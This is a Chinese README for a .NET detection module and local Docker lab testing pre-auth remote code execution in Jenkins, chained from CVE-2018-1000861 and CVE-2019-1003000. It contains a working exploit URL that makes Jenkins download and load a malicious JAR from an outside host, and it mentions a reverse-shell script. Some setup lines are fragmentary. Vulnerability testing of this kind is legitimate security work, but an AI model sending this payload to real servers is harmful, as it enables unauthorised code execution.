通过将漏洞 CVE-2018-1000861 与 CVE-2019-1003000 进行链式利用,我创建了一个模块,用于测试 Jenkins CI 上的未授权远程代码执行(Pre-Auth RCE)。起初,我尝试通过用户名、密码和作业名称来检测漏洞;但我觉得,将这两个漏洞链式利用来解决这个挑战会更加现实且有趣。
在您的 Windows、Linux 或 macOS 机器上安装 Visual Studio 或 .NET Core 框架。
docker pull jenkins/jenkins:2.121mvDir.sh
./mvDir.sh 方式运行
chmod +x mvDir.sh。如果仍然无法运行,可以用 bash mvDir.sh 来运行。./run_vuln_jenkins.sh
http://localhost:8080 上)。./run_updated_jenkins.sh 或 bash run_updated_jenkins.sh 将会启动一个安全的、最新版本的 Jenkins 服务器,运行在 http://localhost:8000 上。对此服务器运行该模块将显示它是安全的,不受 CVE-2018-1000861 与 CVE-2019-1003000 链式利用的影响。dotnet build运行模块:dotnet run -- -u http://localhost:8080 -ip <主机IP地址>
我最初的规划为解决问题提供了良好的框架;但在实际实施过程中,我发现很多工作被不必要地复杂化了。我最初创建了一个 bash 脚本,用于向宿主机发起反向 shell 以证明 RCE。然而,本次挑战的目标是证明漏洞的存在。在这种情况下,是要证明在 Jenkins 版本 2.121.2 上,安装以下插件时存在 RCE:Pipeline: Declarative Plugin 至 1.3.4,Pipeline: Declarative Extension Points API 至 1.3.4,Pipeline: Groovy Plugin 至 2.61,Script Security Plugin 至 1.49。
实际上我无需创建反向 shell 并展示可以执行任意命令。因此,这使得在 Windows 和基于 .nix 的操作系统上进行检测变得更加容易。在发出 GET 请求后,我发现页面会返回一个状态标记为成功,或者打印一条错误消息。但为了确保成功状态不是误报,我在宿主机上使用 python -m SimpleHTTPSever 80 设置了一个 Web 服务器。在向指定的恶意 JAR 文件(可在 payload 文件夹中找到)发起自定义 GET 请求后,可以看到 GET 请求返回了 200 状态码,并且路径指向本地机器上的 jar 文件,从而证明了漏洞的存在。以下是 GET 请求和相应响应的示例。不同的文件路径(tw/ 和 www/)都包含了恶意 jar;它们只是请求用来查找该 jar 的不同路径。
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

http://,否则程序会抛出 HTTP 异常,您需要重新运行。参数选项
| 缩写 | 完整形式 | 描述 |
|---|---|---|
| -uname | --username | Jenkins 用户名 |
| -p | --password | Jenkins 用户密码 |
| -u | --url | 目标 URL |
| -ip | --ip address | IP 地址 |
| -v | --verbose | 详细输出 |
-p、-uname 尚未实现,因为我只创建了用于检测未授权 RCE 的模块。我认为这对于 Detectify 来说更现实,因为我认为公司的扫描器只会针对目标域名(而不会包含密码和用户名等自定义参数,因为即使是为了帮助改善安全状况,一个公司向另一个公司提供这些信息也是不安全的)。